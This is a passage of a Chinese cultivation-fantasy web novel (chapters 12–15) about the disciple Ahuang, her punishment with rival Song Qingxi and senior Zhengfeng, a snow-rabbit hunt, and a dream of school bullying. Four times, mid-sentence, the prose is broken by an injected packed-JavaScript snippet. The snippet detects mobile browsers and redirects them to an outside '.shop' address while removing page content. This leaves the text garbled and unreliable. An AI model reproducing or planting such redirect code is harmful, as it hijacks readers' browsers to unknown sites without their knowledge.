“我的本事你刚刚已经见到了,早上也是,这只玉笛就是我的武器,我以灵力融入音律,这就是我的攻击方式。” “我可不相信,你就靠这点本事成为了玄极的徒弟?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126055|196080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>看来是应付不过去了,可阿凰不想轻易跳出天舞缭乱,想了想,说:“可我们实力本来就不对等,就算你赢了又能怎么样?不过是预料之中的事罢了,胜之不武,既然你无心杀我,这样吧,我能接住你一招,你就别骚扰我了,怎么样?” “谁骚扰你了?”宋清希反驳道,“要我放过你也可以,不过就一招,未免太轻松了,我只需单手和你打,你接住我三掌就算你赢了。” 阿凰同意了。三掌就三掌,他断剑山庄是主修剑道的,掌法应该不至于太吓人。 第一掌,她故技重施,用藤蔓挡在面前,勉强接下,不知是宋清希掌法真的稍逊一筹,还是他有意放水。 第二掌,她躲在刚刚的大石头后面,石头被击碎,她没受伤。 本以为两次都侥幸躲过,宋清希会恼羞成怒,可他看起来没什么生气的意思,一派轻松自在,阿凰甚至感觉他出掌的速度变慢了? 最后一掌,阿凰左右乱看,试图找一个物体来抵挡,可四下望去也见不到合适的,她只能调动全身的灵力,试图硬撑过去。 “住手!”一道厚实的声音响起,一个宽厚的身躯挡在阿凰面前,灵力形成的保护罩挡住攻击。 阿凰站起来,看着面前好心的陌生人道谢:“谢谢这位同门……” 他偏过头来看着她:“师妹没事吧?” “我没事,你是?”阿凰确定没见过他,但是他怎么一开口就喊自己师妹?怎么知道就是晚辈呢? “我叫正枫,只是一名普通的弟子罢了,我知道师妹你是玄极长老的弟子,拜师大会那日,许多人都去看热闹,你一舞惊鸿,给不少人留下印象。” 原来如此。阿凰点点头,再看向宋清希时,发现他的脸色又变得很难看了。 “你们虽是同门,稍作切磋是合理之中,可这位师弟出手似乎太凌厉了些,切磋理应点到为止,出手过重伤及同门就不好了。”正枫正义凛然道。 宋清希冷冷看着,冷笑道:“我和她切磋,与你何干?你倒是正义,演绎了一场英雄救美的戏码,让我当了一次恶人。” 正枫直直地站着挡在阿凰面前,像一堵墙:“我不敢自诩英雄,只是担心同门受伤,和气为重,切磋就到此为止吧。” “我们无尽峰的事,与你一个外人何干?”宋清希不爽道,“倒是因为你插手,破坏了我与她定下的规则,刚刚那一掌不算数。” “你少耍赖,这不算那不算,可别说你输不起。”阿凰说。 看出她被为难,正枫给了她一个安慰的眼神,悄悄说:“师妹先走,若他再出手,我拦住就是。” 他身为师兄,实力比她肯定高,怕自己留下来会成为拖累,阿凰只能同意。 刚走出去一段距离,宋清希就毫不留情地发起攻击,叫道:“站住!我让你走了吗?我说了不算数你没听到吗?” 阿凰才懒得理他,可是她担心好心的师兄打不过,回头看了一下,宋清希攻势十分猛烈,正枫就要招架不住了。 没办法,她只能回头帮助,正义的二打一,稍微找回了一点优势。 宋清希冷哼一声:“我让你们几十招你们也打不过我。” 就在此时,一股力量从头顶压迫而下,两边的攻击终于停止了,可他们也都躺在地上一动不动了,好像被一张无形的网罩在地上。 玄极从上空降落,依旧一脸冷漠地看着三个弟子。 “还打吗?” 不敢了不敢了。 一点挣扎的力气都没有,力气使不上来,阿凰老实了,玄极劝架的办法就是把两边的人都揍一顿啊。 12. 被罚 “说,在闹什么?”玄极冷冷的声音。 阿凰看着宋清希:“是他非要挑衅我,我身上有伤痕可以作证。” 玄极把目光投向在场唯一的外人正枫,他道:“玄极长老,我也是偶然听到打斗声,看到师妹被师弟压着打,以为她受了欺负,这才出手相助,若长老要责罚,只责罚我一人便是,是我作为师兄没做好表率。” 阿凰没想到他会这么说,忙道:“这不关正枫师兄的事,非要怪就怪我实力不济,打不过宋清希,正枫师兄只是好心相助,我不想牵连他,我宁愿一人承担责罚。” 玄极看向宋清希,他一脸不在乎:“随便,我不怕惩罚。” 于是三个人都被处罚了,一起去后山抓雪兔子。 前往后山的路上,阿凰不解地问:“雪兔子是什么品种的兔子?是雪做的吗?” 正枫笑了,他本就是憨厚老实的长相,笑起来倒有些孩童的天真:“雪兔子因其长相通体雪白,又像雪一样一触既化,所以叫雪兔子,极其狡猾,泛滥成灾,将雪灵草啃得快寸草不生了,时常要有人去抓它们才行。” “哟哟哟,正枫师兄真是知识渊博。”宋清希阴阳怪气地说,好像自己被忽略了不高兴,在找存在感。 被他这么挑衅,正枫也不恼怒,只是继续和阿凰说话,没多久,他说了一声:“到了。” 有一块光秃秃的地面很是突兀,凑近一看才能看到一些草根露在外面,真是被啃惨了。 “雪兔子能吃吗?”阿凰问。 “没有人试过。”正枫说。 “怎么又在惦记能不能吃?”宋清希不合时宜的声音响起。 知道他在提起飞鱼的事,阿凰没理会他,只是和正枫说:“如果雪兔子能食用,并且好吃的话,许多人拿去烹饪,就不会导致泛滥了。” 不过这雪兔子听起来和泡沫一样,一碰就碎,一触既化,应该是吃不了的。 正枫认真思考起可行性,而后说:“这地方的雪灵草被啃光了,雪兔子不会来这里的,我们去附近找找看。” “要分头找吗?”阿凰问。 正枫看了看宋清希,正担忧他会不会趁机对落单的阿凰下手,对方好像看出来他的意思,不爽道:“你觉得我会偷袭她?那你尽管去保护她,最好保护一辈子。” 说罢怒气冲冲地走远了,留下一脸尴尬的正枫。 “他这人就这样,嘴巴跟淬了毒似的,我们打架就是因为他挑衅我,骂不过我,恼羞成怒了,正枫师兄把他的话当狗叫就好了。”阿凰安慰道。 正枫却摇摇头说:“身为师兄,我不该恶意揣测宋师弟的,都是同门,应该和平共处才是,至少刚刚他没有我所预料的恶意,我却先那么揣测他,他不高兴也是正常的。” 没想到还有心思这么纯正的人,完完全全的正道弟子,阿凰不知道该说什么了,只觉得,真是个老实巴交的人啊。 你想和他和平共处,他才没那么老实呢。 过了会儿,阿凰想起来一件事,问:“正枫师兄,你比我先到紫微派,在这里的时间比较久,我想跟你问一个人,看看你认不认识。” “阿凰师妹请说。” 她回忆着说:“后山晨练时,我在路上遇到一个好心的师姐为我指路,还给了我果子吃,她穿了一身蓝衣,抓着藤蔓荡来荡去,看起来和别人有些不一样呢。” 正枫仔细听着描述,努力思索良久,最后有点无奈道:“这……抱歉啊阿凰师妹,我听不出来是什么样的人,还有别的特征吗?” 再回忆了会儿,阿凰发现自己也没别的记忆了,摇摇头,说:“没有了,毕竟只是一面之缘,只觉得那是一个很随性洒脱的女子。” “抱歉抱歉,我也不知道那是谁,过后我帮你问问。”老实人正枫又在抱歉了。 阿凰忙道:“那倒不必麻烦了!只是我自己好奇,也想跟人家道谢而已,师兄你不必这么认真的,是我没记住更多的特点。” “阿凰师妹不必自责,诚心所在,对方一定会感受到你的心意。”正枫安慰着,想了想,说,“不过听起来倒是有一个师姐兴许符合,她名为乌妤,一年前从清音门来到了这里,也是乐于助人,随性的性子,很受大家喜爱。” 也是从清音门来的?阿凰有点好奇了。 一起猫着腰找了一段时间,阿凰由于没见过雪兔子和雪灵草,不清楚具体长什么样,只能跟着正枫走,这会儿正枫脚步一停,说:“这里有一株雪灵草。” 那是一朵三片花瓣的白色花朵,微微冒着白光,雪一样洁白的颜色。 看正枫面露犹豫之色,阿凰问:“怎么了师兄?” 他说:“也不知雪兔子在哪里,它们若是受了惊躲起来就很难找到了,只能用雪灵草诱它出来,可这儿只剩一株雪灵草了,我怕拔走就不长了。” 这也太实诚了。阿凰不禁说:“正枫师兄,有没有人说过你特别老实?” “好像没有……不过老实不是很好的品质吗?” “太过老实容易被人欺负的。”虽然阿凰觉得,以他的性格,就算别人真的欺负了他,他也意识不到。 他挠挠头,笑得憨气十足:“我还没被人欺负过呢,只要做好自己,不去招惹别人,别人也不会欺负我吧?要是我自己做错了事,被别人欺负我就认了。” 在这世上,有时候你不惹事,事也会自己来惹你的。不过阿凰感觉跟他说这个他也理解不了,在这种老实人的脑子里,他们的思维是一根直线。 阿凰把话题绕回来,商量道:“那我们就先放过这株雪灵草吧,再去找找看,如果真的找不到,我们再回来采了它好吗?否则完成不了任务,我也不敢保证会发生什么,我才认识师父,还不了解他,也不敢求情。” “好的,阿凰师妹。”正枫点头认同道。 两人向更远处走去搜寻,正枫小声问:“阿凰师妹,你很怕玄极长老吗?” 她回忆了一下,说害怕倒也算不上,只是这种高冷的人,大家都会下意识不敢惹他的,而她也才认识玄极,别说熟悉了,跟他说话的次数一只手都数得过来,她潜意识里很害怕惹事被他逮个正着。 就比如今天,虽然她没有惹事,但在玄极眼里估计也算打架斗殴了吧,所以才把涉事人员一并处罚了。 仔细想来,估计也就宋清希在玄极面前一副天不怕地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126056|196080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不怕,牛皮轰轰的模样,还有独孤凤渊,虽为师徒,阿凰却总感觉他俩像平起平坐的,谁也不怵谁,处于井水不犯河水的微妙状态。 除了一个顾纯儿,她似乎是唯一一个在玄极的冷脸面前不但不收敛,反而格外活泼热烈的。 “不怕,我尊敬他。”阿凰回答道。 正枫嗯嗯了两声附和道:“玄极长老虽看起来冷若冰霜,铁面无情,好似拒人千里之外,可依然德高望重,没听说过他的恶评,我觉得一定是个面冷心善的人。” 她无奈笑了笑说:“还有人在正枫师兄眼里不是好人吗?” “紫微派的大家都是好人,我觉得阿凰师妹就是个很好的人。” 纯正得她不忍说一些人间险恶的话了。 搜寻半晌,眼前豁然开朗,是一大片绿油油的草地,阿凰和正枫分开一点距离,埋头寻找,在这里雪灵草很容易隐藏在草中找不到。 有些累了,她看着一块石头便打算先休息,走过去刚坐下,就看到石头下面露出一块白色,低头看去,石头底下卧着一窝雪灵草。 “正枫师兄,快过来!” 另一边的正枫闻声而至,看到雪灵草时也惊喜了,阿凰问:“这次的可以拔了吧?” “可以、可以的。”他憨憨笑着说。 拿到了雪灵草,就可以拿去当诱饵吸引雪兔子出来了。 看着正枫布置了一个简单的陷阱,把雪灵草放在其中当诱饵,阿凰内心不禁怀疑,这真的会上当吗? 她和正枫在暗处蹲守,感觉过了十几分钟的样子,陷阱那边落下来一道身影,却不是雪兔子,而是一个人。 吓得正枫赶紧上前去,解除了陷阱,搭把手把人拉起来,连连道歉。 阿凰看着那人,是一个橘红色衣衫的女孩,衣着简练,头上插了支做成橘子样式的发簪,衬得女孩灵动可爱。 “抱歉抱歉,我们是想用雪灵草吸引雪兔子出来的,误伤了你实在不好意思。”阿凰也跟着道歉。 那女孩摆摆手:“没事没事,我也没受伤,不过也是奇怪,怎么就没见到一只雪兔子?” “你也是来抓雪兔子的吗?” 女孩道:“那倒不是,我们是来采雪灵草的,听说找到了雪兔子就能找到雪灵草,哎,好麻烦。” “我们?” 女孩望向远处,用目光搜寻目标:“我是和朋友一起来采药的,咦,他人呢?” 她不会迷路了吧……阿凰在心里偷偷想,觉得这女孩呆呆的还挺可爱。 “我叫阿凰,这是正枫师兄。”阿凰介绍起来,“这位同门,你是师姐还是师妹呢?” 女孩道:“我们也是刚来的,就是平级吧?你叫我徐子岑就好了,我朋友叫许萧然,你们有见到他吗?哦对了,他是一个男的。” 阿凰心里有点想笑,摇摇头:“没见到过。” 徐子岑有点失望地叹了下气,又眼睛一亮:“你们抓雪兔子,而我们要采雪灵草,可不可以合作?人多干活不累嘛。” 阿凰看了一眼正枫,他一点意见都没有,便说:“可以啊。” “嗯……先去找我朋友吧,他也很厉害哦。” 13. 捣乱 边走边喊了几声“小然”,没有回应,徐子岑便先停下呼唤,问:“你们是从哪个门派来的?” “我只是散人一个,无门派。”阿凰说。 正枫也说:“我也是,父母离世之后我无处可去,便来了紫微派。” 原来也是个可怜人啊,难为他还能保持那么纯正的心态。阿凰想。 “好巧啊,我们也是散人。”徐子岑仿佛找到了同道中人,“这里随便问一个人都是名门正派的,我都有点自卑了,还以为就我们和别人的差距那么大,主动与人来往都怕被别人以为我们想高攀。” 十几岁的少年心思敏感,正是成长的年纪,容易迷茫又自尊心强,总是忍不住在内心和别人比较,很在意别人的看法。 “既然来了紫微派,大家都是同门手足,同一个起点,平常心对待就好了,不必怀疑自己低人一等。”阿凰安慰道。 徐子岑却沉默了会儿,摇摇头:“不是的阿凰,并不是同一个起点,五湖四海的人来到了这里,大家的背景和资质都不一样,能留下来的人当中有不少人拜不了师,更何况能被那几位长老收为徒?那是弟子中最高的荣誉了,只有这些人才有机会竞争仙门大比,你说剩下的人会不嫉妒吗?” 阿凰一时说不上话来,相比之下她确实幸运了很多,还有什么可自卑的呢? 不过,徐子岑这么一说,她心里有一种不好的猜测,不敢问出口了。 这种时候,多说一句话在有心人眼里都算炫耀,她只需要降低存在感就好了,降低存在感这件事她可是手拿把掐。 没想到正枫这个实诚人却问了:“徐师妹,你们拜了哪位师父?” “小然资质比我好,修为也比我高,拜了刘长老为师,而我资质不够,只能当个普通弟子。”徐子岑道。 “普通弟子也挺好的,我也是普通弟子,正常修行生活,没什么区分的,紫微派人杰地灵,能留在这里已经是很幸运的事了。”正枫心态很好,安慰道。 徐子岑点点头:“我知道,我也没有什么妄想,我们从小一起长大,他一直都比我优秀,这是意料之中的事,我只是怕以后很少见到他了,我知道我不该总是依赖他,可他是我唯一认识的人了……” “没关系,以后你就多了我们这两个认识的人了。”阿凰友好微笑道,“我虽然也有没什么了不起的地方,但朋友若有需要,我会尽力帮忙的。” “好啊好啊!那我们几个就是好朋友了。”徐子岑点点头,“对了阿凰,你拜了哪位师父。” 斟酌了一下,阿凰才说:“是玄极长老。” 她观察徐子岑的表情,对方神色如常,甚至还有些担忧:“听说玄极长老挺严肃的,你会感觉有压力吗?” “是有些压力。”阿凰说,“严肃……确实有点吧,我们来抓雪兔子就是因为打架被师父处罚的。” “打架也要罚……刀剑无眼,修行之路打打杀杀不是很正常吗?” 还没来得及回答,前方有一人远远看见了他们,飞身而来落在面前,是一个充满稚气的少年,见了他,徐子岑跑着迎上去:“小然!” 她为许萧然介绍起新朋友,得知要与他们合作,许萧然笑道:“那太好了,人多力量大,今天之内一定能完成任务。” 他自己手中得到了两株雪灵草,与需要的量还差很多,便将手里的草都加起来,各自去布置陷阱。 “不过这样真的有用吗?”许萧然表示怀疑。 徐子岑有点心虚地咬了咬唇。她一个大活人都能被陷阱骗了,如果雪兔子没上当的话,那真是太丢人了…… “雪兔子智力不高,应该是有用的。”正枫说。 几人在暗处伺机而动,等候许久,陷阱那边传来悉悉索索的动静,徐子岑探头出去看,惊喜道:“雪兔子真的来了!好几只啊!” 说罢就要跳出去,被阿凰按回来,说:“再等等,多吸引一些兔子,别的兔子看到同类都在这里,就会跟着过来的。” 没多久,果然有一团团白色身影从四面八方过来,草地上顿时多了一大片白色。 正当阿凰准备出手时,一股狂风凭空吹来,呼啸着越卷越大,雪兔子要么被吓跑了,要么被风吹起来,像一个个气球在天上飘。 几人手忙脚乱地去抓捕,可是雪兔子本来就胆小,经过这么一惊吓,一碰到身体它们就散了。 这么一来,雪兔子倒是被消灭了一些,也算是完成了一半玄极交代的任务,可他们的目的还是要找到更多的雪兔子,并且帮忙找到雪灵草。 没多久阿凰就有些累了,停下来气喘吁吁,四处望去,雪兔子所剩无几了。 一抬头,就看到宋清希在不远处戏谑地看着他们忙碌。 阿凰飞过去,落在他面前:“你能不能别这么幼稚?我们现在是一条绳上的蚂蚱,你非要捣乱,看着我们被你耍得团团转很开心?你以为你能置身事外吗?完不成师父布置的任务,你也别想好过。” “你以为你能威胁到我吗?”宋清希满不在乎,“我可不怕,就算他把我逐出师门我都不怕,更何况,没这种可能,我堂堂断剑山庄少主,就是我走了也会有人求我回来,所以,没有我怕的事。” “行行行,你厉害,算你狠好吗?”阿凰已经很累了,没力气跟他掰扯,尝试劝解,“现在是我们三个被处罚一起抓雪兔子,我们是一个团队的,你老实一点,好好团结,等完成了任务爱怎么样怎么样。” 宋清希看了看阿凰身后,用眼神示意:“他们是谁?” 一扭头,另外三个人看到了这边的情况,已经朝阿凰身边走过来了。 老实人正枫眼看气氛不对,想缓解一下这剑拔弩张的氛围,两边介绍起来,又说了下情况。 出于礼貌,徐子岑打了个招呼,许萧然也很外向地说场面话,宋清希却一点表示都没有,场面一度十分尴尬。 阿凰对他这个态度已经习以为常了,只说了句没礼貌。 他冷笑一声,说:“笨蛋师姐真是受欢迎啊,这么快就又认识了新朋友。” “如果你能用正常态度对别人,人家和你打招呼的时候你有回应,你也会有很多新朋友的。” “我不稀罕。” 是是是,你只稀罕你的纯儿。 问都不用问,阿凰就知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126057|196080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道他一定会说什么“只有纯儿才配当我的朋友”“只有纯儿才配我用好态度对待”诸如此类的话。 “我只问你,能不能正常合作?赶紧完成任务。” 宋清希用眼神把在场的人都扫了一边,说:“谁说我想合作了?” “那你是非要闹事不可了?” 阿凰觉得,他们四个打一个应该不至于打不过吧?只要把这个捣蛋鬼绑起来就能正常做任务了。 他笑了,凑过来盯着阿凰的眼睛:“笨蛋师姐突然硬气了,真是勇气可嘉,之前是谁被绑起来,可怜兮兮地看着我?” 真是令人回味啊。 一提那件事阿凰就来气,回想起那个场景就觉得屈辱,她怒瞪着眼前嚣张跋扈的少年,觉得他真是白生了一张好看的脸。 “你真的很顽劣。” 气氛越来越紧张,好似下一刻两人就要打起来了,正枫劝道:“没关系,宋师弟不想来我们自己也可以应付的。” 一直沉默观察的许萧然也当起和事佬:“都是同门,和气生财,和气生财,都可以商量的。” “抓雪兔子或者是采雪灵草,那都是你们的事,我自己就能完成清除雪兔子的任务,为什么要和你们合作?”宋清希一脸的无所谓,“再说了,你们刚刚也看到了,雪兔子被清理了许多,那就是我的功劳,我的任务完成了。” 阿凰往后退,拉开距离,已经不想和他继续扯皮了:“那你别再跟着我们。” “站住。”宋清希的声音从后面传来,“笨蛋师姐非要和我合作的话也不是不可以,不过我不想看到其他人,而且我只负责找,你要自己抓兔子。” “不必了。”阿凰淡淡拒绝道。 她不想丢下朋友,明明约定了一起合作,她做不到轻易反悔,更何况要她丢下朋友的那个人还不安好心? 这一次,宋清希没再说什么。 离开后阿凰继续跟着他们实行抓雪兔子计划,只是时不时会发生这样那样的意外,属实在意料之中。 徐子岑有点受不了了:“他到底有完没完啊?怎么跟小孩子一样,得不到喜欢的东西就要闹个没完。” 老是这样也不是个办法,阿凰尝试在意识中呼唤夜月姬,这一次她居然很快就有了回应。 听完阿凰的描述,夜月姬思索片刻,说:“我教你一个办法,待我教授你一个伪装成雪兔子的口诀,你混入它们当中,就能跟着它们回到兔子窝了。” “嘭”的一声,阿凰原地变成了雪兔子,看着同样变身伪装的同伴,四只雪兔子在草地上跑来跑去,很快就看到了几只雪兔子。 跟着它们跑了好远,终于到达目的地,此处的雪灵草比别处都茂盛,几人恢复原样,一抓一个准。 “我们这算是把雪兔子的窝都端了吗?”许萧然抱着一捆雪灵草装进储物袋。 阿凰说:“肯定不止这些,不过我们的任务也终于完成了。” 雪兔子憨态可掬,十分可爱,阿凰想起来,第一次见到顾纯儿的时候,她说最喜欢可爱的东西,阿凰便打算抓只雪兔子回去送给她,可惜雪兔子太容易散了,最后只能无奈放弃。 14. 伤痛 无尽峰,弟子居。 一道粉绿身影从宋清希的言棋阁走出来,在路口发呆,由于没有旁人,她脸上的笑容很浅,维持笑容已经成了她的习惯,即使没人在身旁也要假笑。 “纯儿师妹,你在找什么呢?”独孤凤渊从一旁走来,声音柔和得令人心颤。 自从顾纯儿离去后,他就一直跟着她,直到她进入了玄极的住所,他才无法继续跟随。 突然出现的人让顾纯儿一惊,脸上马上抬起笑容,用纯洁得无法挑出瑕疵的眼神看着他:“是独孤师兄啊,我来看看宋师弟,我怕他离开断剑山庄在这里住不惯。” “纯儿师妹真是善解人意。”独孤凤渊的声音冷了一丝,“说起来,紫微派和凌霄宗大有不同,连我也有些住不惯。” 顾纯儿似乎有点心不在焉:“这样子啊……这也许就是水土不服吧。” 没有得到预想之中的关心,独孤凤渊有些失落,正要再找些话题和她多说话,她却向他挥挥手:“我先走啦。” 他立刻道:“纯儿师妹要找宋师弟的话,我听说他被师父责罚,去后山抓雪兔子了。” 顾纯儿一愣,看起来懵懂可爱:“哎?怎么会这样?” 眼见她被吸引住,独孤凤渊有些庆幸,虽然话题还是离不开别人,至少当下她的时间是他的。 他解释道:“听说原因是同门闹事互殴,宋师弟少年气盛,发生这样的事倒不令人意外。” “他和谁打架啊?”顾纯儿睁着一双好奇的眼睛问,声音甜腻得醉人,她自己都没意识到,她早已习惯了只要在异性面前就用这种腔调说话。 独孤凤渊不免有些心神荡漾,迟缓了好一会儿才回答:“好像是和阿凰,还有另一个同门。” 顾纯儿不语,不知道在思索什么,然后向独孤凤渊甜甜一笑:“好,我知道啦。” 说罢转身走人,独孤凤渊问:“纯儿师妹是要去帮宋师弟吗?” 她头也没回,扬起声音回答:“没有啦,既然师父要责罚必然有他的道理。” 直到她的身影彻底远去,直至看不见,独孤凤渊看着言棋阁,脸上阴郁得可怕。 走远了些,顾纯儿脸上的笑容暗淡下来。 她确实没有要去帮宋清希的打算,至于阿凰,就更不在她的考虑范围内了,她没有必要为了这两个人去忤逆师父,她的形象还没有立稳,暂时不想趟浑水。 她认为,这世上的人都有三六九等,朋友也是要分级的,头等的才需要维护关系,次等的,就算她摆脸色,那些人也会像狗皮膏药一样黏着她不放。 这种情况,有时候是甜蜜,有时候就是烦恼了。比如宋清希这样的人的纠缠,她觉得是好事,然而她太容易获得别人的喜爱,所以大部分时候都是烦恼。 被一个家世优越的美男子纠缠,和被一个村野蛮夫纠缠的感觉是不一样的,前者叫有来有回,后者就是恶心了。 人的精力是有限的,她可没有那么多时间去一一回应每一个人,好在即使她有时候敷衍应对,也从来没有人不满。 顾纯儿自己也不明白,为什么只要人们听到她的声音,就会自动喜欢上她,长此以往,她便认为自己的人格魅力就是这么大,毕竟爹爹和娘亲名扬天下,她作为备受宠爱的大女儿怎么会差呢? 从小到大,夸赞她的人多得数不过来,夸她声音好听,为人甜美,这世界送与她的滔天爱意有时让她觉得腻得慌,烦躁,她早已麻木了,这些东西有的就像路边的杂草,毫无价值。 她也知道自己就是拥有这些优点,早就习惯了万众瞩目的感觉,她总是不费吹灰之力就能俘获别人的心,自然认为这世上没有难事。 只是,宋清希和阿凰怎么会打起来? 顾纯儿回想了一下,这两个人性格天差地别,怎么会有联系呢?应该聊不到一起吧?宋清希开朗外向,是少数的能在她心里留下印象的人,而阿凰,直到如今她的评价还是平平无奇的普通人,如果没有天舞缭乱,没有被师父收为徒,她根本就不会记得这个人。 所以这两个人是怎么会起矛盾的?不知为何,顾纯儿心中莫名冒出一丝危机感。 …… 夜里,阿凰清晰地感受到自己大脑清醒了,可是身体动弹不得,迷糊中她又被拖进梦魇之中。 久远的记忆被唤醒,眼前的场景变回陌生又熟悉的初中校园,女生宿舍里,她在刷着一双不属于自己的鞋子。 “哟,你在帮赵姐洗鞋子啊?”那个长得和顾纯儿一模一样的女生居高临下地看着阿凰,她嘴里的赵姐就是太妹小团体的大姐头。 阿凰抬头看了她一眼,低头继续刷鞋,用故作轻松的语气只回了个“对啊”,仿佛这样就显得她不在意这件事,不在意就不那么屈辱了。 她原本是在这里洗自己的鞋子,可是赵姐提着自己的鞋子进来,一看到她,就把鞋子丢到她面前,用不容商量的语气让她顺便把自己的鞋子也洗了。 她不敢说不,也没同意,赵姐就默认她同意了,指挥完就不愿意呆在这里。 “那顺便帮我也洗了吧。” 像顾纯儿的女孩语气吊儿郎当,很快就把自己的鞋子拿过来,腰也不弯,直直站着把鞋子丢到阿凰面前,地上的脏水溅起来一些,混合着泡沫,溅到阿凰脸上,头发上。 她刚洗干净晾干的头发。 她抹去水渍,心中压抑着不甘和怒火,正准备鼓起勇气,哪怕凶那个女孩一句呢,让她知道她也是有脾气的。 可是一抬头,女孩已经笑嘻嘻地跑了,像个恶作剧没个度的小孩子,残忍得天真,可女孩早已不是小孩子,阿凰也没法说服自己她只是太调皮。 阿凰忽然就忍不住想哭了,她好委屈,好想哭诉一下,可是在这世上,她没有可以哭诉的人。 为什么,那个女孩幼儿园时期就那么恶劣地欺负她,上了小学之后,本以为终于可以甩掉她,没想到初中时又遇到她,知道她是靠关系进来的,阿凰心里更无力了,因为这意味着她不会轻易走人。 也正因如此,小太妹团体一开始霸凌女孩,只敢用小偷小摸的方式,也就是冷暴力,搞孤立。 阿凰见她实在可怜,想着她现在长大了,兴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126058|196080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许小时候只是不懂事太调皮了,现在的她看起来孤立无援,便主动和她做朋友,在课间她被小太妹团体借口开玩笑,用语言中伤得趴在桌子上哭的时候,阿凰主动站出来给她说话,安慰她。 于是噩梦开始了,农夫与蛇的故事在阿凰身上上演,那女孩加入小太妹团体,以欺负阿凰的方式向团体投诚,太妹们自然乐意看到这一幕,尤其是,听说阿凰和女孩曾经是同学,她们就更兴奋了。 为什么好人没好报呢?为什么帮助人的那一个成了被欺负的? 虽然后来上了高中,考上大学,阿凰都没再遇到那个女孩,并且遇到了一些真心伙伴,可是许多个夜晚,她的噩梦里都是曾经被欺负的场景。 周围人冷漠甚至是嫌弃的眼神,让她一度以为自己生活在这世上就是祸害,一看到她人们好像看到了麻烦,自动避开,就好像多看她两眼就会被小团体一起收拾。 有一天,班里来了个转学生,阿凰作为老实肯学的好学生坐在前排,转学生德智体劳发展,数学成绩名列前茅,班主任数学老师把他安排在她前桌。 转学生经常转过来和她交流学习,他艺术细胞接近于无,她怎么教他似乎也不开窍,依然每天都讨教。而她艺术天赋极高,连老师都可惜,如果家里肯培养,未来可期。 一来二去,大家默认了他们是很般配的一对,青春期的她把握不清喜欢的界限,只是害怕成绩下降,一直和他保持距离。 平平无奇的一天,她赴约去找转学生学习,带上了自己做的小饼干,这是她第一次勇敢地迈出自己的第一步。 到了地方遇到那个女孩,她也是去找转学生的,阿凰不敢被她知道,把饼干送给她,然后看着她和转学生有说有笑,一起吃下她亲手做的小饼干。 似乎像青春疼痛文学一样,每个好学生都会遇到一个叛逆的坏学生,尝到了新鲜感,被迷得神魂颠倒,被带坏。 听说转学生和那个女孩在一起的时候,阿凰有些意外,这么两个不是一个世界的人居然走到了一起。 也就是在这时候,阿凰才知道大家眼里都以为她和转学生会在一起,觉得他们很般配。 这种叛逆女孩的热烈追求是男生无法拒绝的,充满了新鲜和刺激。 教室的灯突然灭了,再次亮起来的时候,那个女孩惊魂未定地抱着转学生的手臂。 旁边的人在小声揶揄女孩好装,阿凰没在意,因为女孩在用挑衅的眼神看着她。 她心中忽然涌上一股可悲,为自己的无力,也为女孩的行为,她知道,女孩不一定是真的喜欢转学生,只是因为想和她作对罢了,半大的青少年气别人的方式就是故意抢走她心爱的一切。 由此,她的青春期第一份萌动无疾而终。 在后来无数个难熬的日夜里,阿凰一直无法理解,那个女孩为什么从小就那么坏,并且长大后毫无长进,甚至更坏了? 一股气闷在胸口,压得阿凰呼吸困难,梦里的她哭了出来,哭着哭着就醒了,醒过来的时候发现正在哭,她愣住好久,干脆放纵自己,大哭一场也许心里就能好受了。 15. 关怀 成功留在紫微派之人都不是零基础的,尤其是被掌门收为徒的,绝非泛泛之辈,所以日常课程和普通弟子也不一样,长老不会从零开始传授,只会评估和考验弟子的能力。 晨练是普通弟子每日睁开眼的第一件事,而像阿凰这类弟子,只需要等待师父交代。 今日没有晨练,所以阿凰醒来后,因为情绪还低落着就多躺了一会儿。 还在发着呆,她就听到外面有动静,接着有人在敲门,徐子岑的声音传来:“阿凰,你还在吗?我们来找你了。” 阿凰赶紧收拾了一下,打开门就看到四个人站在门口,竟显得有些拥挤,她门前难得这么热闹。 